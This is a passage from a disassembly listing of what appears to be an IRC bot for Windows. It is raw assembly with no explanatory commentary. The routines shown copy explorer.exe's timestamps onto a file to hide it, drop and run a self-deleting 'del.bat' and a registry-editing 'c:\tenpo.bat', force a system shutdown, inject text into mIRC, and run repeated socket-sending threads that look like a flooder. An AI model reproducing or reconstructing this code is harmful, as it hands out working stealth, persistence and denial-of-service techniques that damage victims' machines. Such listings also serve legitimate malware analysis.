		jmp	short loc_409961
; ---------------------------------------------------------------------------


loc_40995F:				; CODE XREF: sub_4098D4+Cj
					; sub_4098D4+13j ...
		xor	eax, eax


loc_409961:				; CODE XREF: sub_4098D4+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4098D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409965	proc near		; CODE XREF: sub_40CBBE+E9p

var_7D0		= dword	ptr -7D0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	ebx
		push	eax
		call	sub_415390
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_415B10
		xor	edi, edi
		add	esp, 10h
		inc	edi
		cmp	eax, edi
		jge	short loc_40999D
		or	eax, 0FFFFFFFFh
		jmp	short loc_409A04
; ---------------------------------------------------------------------------


loc_40999D:				; CODE XREF: sub_409965+31j
		xor	ecx, ecx
		cmp	eax, ebx
		mov	[ebp+var_7D0], esi
		jle	short loc_4099BE


loc_4099A9:				; CODE XREF: sub_409965+57j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_4099B6
		cmp	dl, 0Dh
		jnz	short loc_4099B9


loc_4099B6:				; CODE XREF: sub_409965+4Aj
		mov	[ecx+esi], bl


loc_4099B9:				; CODE XREF: sub_409965+4Fj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_4099A9


loc_4099BE:				; CODE XREF: sub_409965+42j
		xor	edx, edx
		cmp	eax, ebx
		jle	short loc_4099E6


loc_4099C4:				; CODE XREF: sub_409965+7Fj
		cmp	[edx+esi], bl
		jnz	short loc_4099E1
		lea	ecx, [edx+esi+1]
		cmp	[ecx], bl
		jz	short loc_4099E1
		cmp	edi, 1F4h
		jge	short loc_4099E6
		mov	[ebp+edi*4+var_7D0], ecx
		inc	edi


loc_4099E1:				; CODE XREF: sub_409965+62j
					; sub_409965+6Aj
		inc	edx
		cmp	edx, eax
		jl	short loc_4099C4


loc_4099E6:				; CODE XREF: sub_409965+5Dj
					; sub_409965+72j
		cmp	[ebp+arg_4], ebx
		jz	short loc_409A02
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_4153F0
		add	esp, 0Ch


loc_409A02:				; CODE XREF: sub_409965+84j
		mov	eax, edi


loc_409A04:				; CODE XREF: sub_409965+36j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409965	endp


; =============== S U B	R O U T	I N E =======================================



sub_409A09	proc near		; CODE XREF: sub_409A63+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_409A42
		push	ebx
		mov	ebx, edi


loc_409A26:				; CODE XREF: sub_409A09+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_409A45
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_409A26
		pop	ebx


loc_409A42:				; CODE XREF: sub_409A09+18j
		pop	edi
		pop	esi
		retn
sub_409A09	endp


; =============== S U B	R O U T	I N E =======================================



sub_409A45	proc near		; CODE XREF: sub_409A09+25p
					; sub_409A63+69p

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_417033
		cmp	al, 61h
		pop	ecx
		jl	short loc_409A60
		cmp	al, 7Ah
		jg	short loc_409A60
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_409A60:				; CODE XREF: sub_409A45+Ej
					; sub_409A45+12j
		xor	eax, eax
		retn
sub_409A45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A63	proc near		; CODE XREF: sub_40B158+10p
					; sub_40B18A+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_415B90
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_415B10
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_415B10
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_409A09
		add	esp, 14h
		dec	esi
		mov	edi, esi
		jmp	short loc_409B15
; ---------------------------------------------------------------------------


loc_409AA3:				; CODE XREF: sub_409A63+B4j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_417033
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_417033
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_409B13


loc_409AC5:				; CODE XREF: sub_409A63+AEj
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_409A45
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_409AE6
		mov	eax, ecx


loc_409AE6:				; CODE XREF: sub_409A63+7Fj
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_409B23
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_417033
		movsx	ecx, byte ptr [edi+ebx]
		push	ecx
		mov	[ebp+var_8], eax
		call	sub_417033
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_409AC5


loc_409B13:				; CODE XREF: sub_409A63+60j
		dec	edi
		dec	esi


loc_409B15:				; CODE XREF: sub_409A63+3Ej
		test	esi, esi
		jg	short loc_409AA3
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_409B1E:				; CODE XREF: sub_409A63+C2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_409B23:				; CODE XREF: sub_409A63+88j
		xor	eax, eax
		jmp	short loc_409B1E
sub_409A63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409B27	proc near		; CODE XREF: sub_40CD3A+3AB4p
					; sub_40CD3A+470Ap

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_421088	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	dword_4210CC	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_409B60:				; CODE XREF: sub_409B27+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_409B6C
		cmp	cl, 9
		jnz	short loc_409B6F


loc_409B6C:				; CODE XREF: sub_409B27+3Ej
		inc	eax
		jmp	short loc_409B60
; ---------------------------------------------------------------------------


loc_409B6F:				; CODE XREF: sub_409B27+43j
					; sub_409B27+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_409B89
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_409B6F
		cmp	cl, 21h
		jl	short loc_409B6F


loc_409B89:				; CODE XREF: sub_409B27+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_43C680
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41588A
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_409B27	endp


; =============== S U B	R O U T	I N E =======================================



sub_409BB1	proc near		; CODE XREF: sub_40CD3A+512Dp
		push	esi
		push	0
		call	dword_43C524
		test	eax, eax
		jz	short loc_409BE8
		push	1
		call	dword_43C544
		mov	esi, eax
		test	esi, esi
		jz	short loc_409BE8
		push	edi
		push	esi
		call	dword_4210D4	; GlobalLock
		push	esi
		mov	edi, eax
		call	dword_4210D0	; GlobalUnlock
		call	dword_43C5A8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409BE8:				; CODE XREF: sub_409BB1+Bj
					; sub_409BB1+19j
		xor	eax, eax
		pop	esi
		retn
sub_409BB1	endp


; =============== S U B	R O U T	I N E =======================================



sub_409BEC	proc near		; CODE XREF: sub_40CD3A+44B4p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	dword_43C560
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_409C68
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_4210E0	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	dword_4210DC	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_415316
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_43C5B0
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_43C5B0
		push	ebx
		call	dword_4210D8	; UnmapViewOfFile
		push	edi
		call	dword_42106C	; CloseHandle
		xor	eax, eax
		pop	ebx
		inc	eax
		jmp	short loc_409C6A
; ---------------------------------------------------------------------------


loc_409C68:				; CODE XREF: sub_409BEC+16j
		xor	eax, eax


loc_409C6A:				; CODE XREF: sub_409BEC+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_409BEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C6E	proc near		; CODE XREF: sub_40C574+20Dp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_43C60C
		test	eax, eax
		jz	short loc_409D0D
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_421078
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_409D0D
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_4210E8	; GetFileTime
		push	ebx
		mov	ebx, dword_42106C
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_409D0D
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4210E4	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_409D0D:				; CODE XREF: sub_409C6E+2Aj
					; sub_409C6E+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409C6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_409D12	proc near		; CODE XREF: sub_40CD3A+133Cp
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_413BE5
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_43C49C
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_409D12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409D34	proc near		; CODE XREF: sub_40BBF7+45Fp
					; sub_40CD3A+53C9p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42C25C, esi
		push	edi
		jz	short loc_409D58
		cmp	dword_43C620, esi
		jnz	short loc_409D58
		push	esi
		call	sub_40B2B9
		pop	ecx


loc_409D58:				; CODE XREF: sub_409D34+13j
					; sub_409D34+1Bj
		call	sub_414F9D
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_4210F8	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_415316
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_421078	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_409EB8
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_415316
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	dword_421070	; WriteFile
		push	edi
		call	dword_42106C	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415390
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415390
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43B188
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	dword_4210C8	; GetModuleHandleA
		push	eax
		call	dword_42107C	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_421094	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_409E60
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	dword_4210F4	; SetFileAttributesA


loc_409E60:				; CODE XREF: sub_409D34+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_415316
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_4210F0	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	dword_4210EC	; CreateProcessA


loc_409EB8:				; CODE XREF: sub_409D34+72j
		pop	edi
		pop	esi
		leave
		retn
sub_409D34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409EBC	proc near		; CODE XREF: sub_40C574+31p

var_1860	= byte ptr -1860h
var_158		= byte ptr -158h
var_58		= byte ptr -58h
var_48		= dword	ptr -48h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1860h
		call	sub_415B90
		push	esi
		push	edi
		mov	ecx, 5C1h
		mov	esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
		lea	edi, [ebp+var_1860]
		lea	eax, [ebp+var_158]
		rep movsd
		movsw
		push	offset aCTenpo_bat ; "c:\\tenpo.bat"
		push	eax
		movsb
		call	sub_415316
		pop	ecx
		xor	esi, esi
		pop	ecx
		lea	eax, [ebp+var_158]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_421078	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	short loc_409F76
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		push	edi
		call	dword_421070	; WriteFile
		push	edi
		call	dword_42106C	; CloseHandle
		push	44h
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	ecx, [ebp+var_58]
		xor	eax, eax
		mov	[ebp+var_48], edi
		push	ecx
		lea	ecx, [ebp+var_48]
		push	ecx
		push	esi
		inc	eax
		push	esi
		push	28h
		mov	[ebp+var_1C], eax
		push	eax
		push	esi
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_18], si
		call	dword_4210EC	; CreateProcessA


loc_409F76:				; CODE XREF: sub_409EBC+55j
		pop	edi
		pop	esi
		leave
		retn
sub_409EBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_409F7A	proc near		; CODE XREF: sub_4013E8+7p
					; sub_401B7C+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43C594
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_409FA2
		push	[esp+arg_0]
		call	dword_43C5D8
		test	eax, eax
		jnz	short loc_409F9B
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_409F9B:				; CODE XREF: sub_409F7A+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_409FA2:				; CODE XREF: sub_409F7A+Dj
		retn
sub_409F7A	endp


; =============== S U B	R O U T	I N E =======================================



sub_409FA3	proc near		; CODE XREF: sub_40CA58+D6p
		mov	ecx, dword_43C47C
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_409FB1
		jmp	ecx
; ---------------------------------------------------------------------------

locret_409FB1:				; CODE XREF: sub_409FA3+Aj
		retn
sub_409FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409FB2	proc near		; CODE XREF: sub_40CD3A:loc_411E19p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		xor	ebx, ebx
		push	esi
		inc	ebx
		push	edi
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_43C5D0
		mov	ecx, eax
		sub	ecx, edi
		jz	short loc_40A039
		sub	ecx, 32h
		jz	loc_40A083
		sub	ecx, 48h
		jz	short loc_40A00E
		sub	ecx, 6Eh
		jz	short loc_40A007


loc_409FF0:				; CODE XREF: sub_409FB2+85j
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42B4C0
		push	eax
		call	sub_415316
		add	esp, 0Ch
		jmp	short loc_40A064
; ---------------------------------------------------------------------------


loc_40A007:				; CODE XREF: sub_409FB2+3Cj
		push	offset unk_42B484
		jmp	short loc_40A056
; ---------------------------------------------------------------------------


loc_40A00E:				; CODE XREF: sub_409FB2+37j
		push	[ebp+var_8]
		call	sub_415BE9
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_415390
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A051
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_43C5D0
		cmp	eax, edi
		jnz	short loc_409FF0


loc_40A039:				; CODE XREF: sub_409FB2+29j
		cmp	[esi], edi
		jbe	short loc_40A074
		lea	ebx, [esi+4]


loc_40A040:				; CODE XREF: sub_409FB2+9Bj
		push	ebx
		call	dword_43C5CC
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A040
		jmp	short loc_40A074
; ---------------------------------------------------------------------------


loc_40A051:				; CODE XREF: sub_409FB2+75j
		push	offset unk_42B440


loc_40A056:				; CODE XREF: sub_409FB2+5Aj
					; sub_409FB2+D6j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_40A064:				; CODE XREF: sub_409FB2+53j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40B078
		pop	ecx


loc_40A074:				; CODE XREF: sub_409FB2+89j
					; sub_409FB2+9Dj
		push	esi
		call	sub_415C9B
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A083:				; CODE XREF: sub_409FB2+2Ej
		push	offset unk_42B3F8
		jmp	short loc_40A056
sub_409FB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A08A	proc near		; CODE XREF: sub_401444+231p
					; sub_401BD4+253p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_43C4F8
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_43C880
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_415316
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40A08A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A0E3	proc near		; CODE XREF: sub_4010B2+24Cp
					; sub_4010B2+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		xor	edx, edx
		cmp	ecx, 1
		push	esi
		jle	short loc_40A10E
		lea	eax, [ecx-2]
		push	edi
		shr	eax, 1
		inc	eax
		mov	esi, eax
		neg	esi
		lea	ecx, [ecx+esi*2]
		mov	esi, [esp+8+arg_0]


loc_40A101:				; CODE XREF: sub_40A0E3+26j
		movzx	edi, word ptr [esi]
		add	edx, edi
		inc	esi
		inc	esi
		dec	eax
		jnz	short loc_40A101
		pop	edi
		jmp	short loc_40A112
; ---------------------------------------------------------------------------


loc_40A10E:				; CODE XREF: sub_40A0E3+Aj
		mov	esi, [esp+4+arg_0]


loc_40A112:				; CODE XREF: sub_40A0E3+29j
		test	ecx, ecx
		jz	short loc_40A11B
		movzx	eax, byte ptr [esi]
		add	edx, eax


loc_40A11B:				; CODE XREF: sub_40A0E3+31j
		mov	ecx, edx
		and	edx, 0FFFFh
		shr	ecx, 10h
		add	ecx, edx
		pop	esi
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40A0E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A133	proc near		; DATA XREF: sub_40CD3A+2CA8o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_415B90
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		xor	edi, edi
		inc	edi
		mov	[eax+120h], edi
		call	dword_43C4E0
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43C594
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40A18E
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43C5D8
		cmp	eax, ebx
		jz	short loc_40A194


loc_40A18E:				; CODE XREF: sub_40A133+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_40A1F1


loc_40A194:				; CODE XREF: sub_40A133+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42B544
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40A1D4
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_412BD1
		add	esp, 14h


loc_40A1D4:				; CODE XREF: sub_40A133+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40B078
		push	[ebp+var_30]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread


loc_40A1F1:				; CODE XREF: sub_40A133+5Fj
		cmp	eax, ebx
		jz	short loc_40A201
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_40A204
; ---------------------------------------------------------------------------


loc_40A201:				; CODE XREF: sub_40A133+C0j
		mov	[ebp+var_4], esi


loc_40A204:				; CODE XREF: sub_40A133+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_415390
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_40A224
		mov	[ebp+var_3C], eax


loc_40A224:				; CODE XREF: sub_40A133+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_40A22C
		mov	[ebp+var_38], edi


loc_40A22C:				; CODE XREF: sub_40A133+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_40A259


loc_40A233:				; CODE XREF: sub_40A133+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_43C478
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_40A233


loc_40A259:				; CODE XREF: sub_40A133+FEj
		push	[ebp+arg_0]
		call	dword_43C608
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42B504
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40A2A2
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_412BD1
		add	esp, 14h


loc_40A2A2:				; CODE XREF: sub_40A133+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40B078
		push	[ebp+var_30]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
sub_40A133	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A2BF	proc near		; DATA XREF: sub_40CD3A+2DE2o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_415B90
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+120h], esi
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415368
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_43C5D4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43C594
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40A3A4
		lea	eax, [ebp+var_B0]
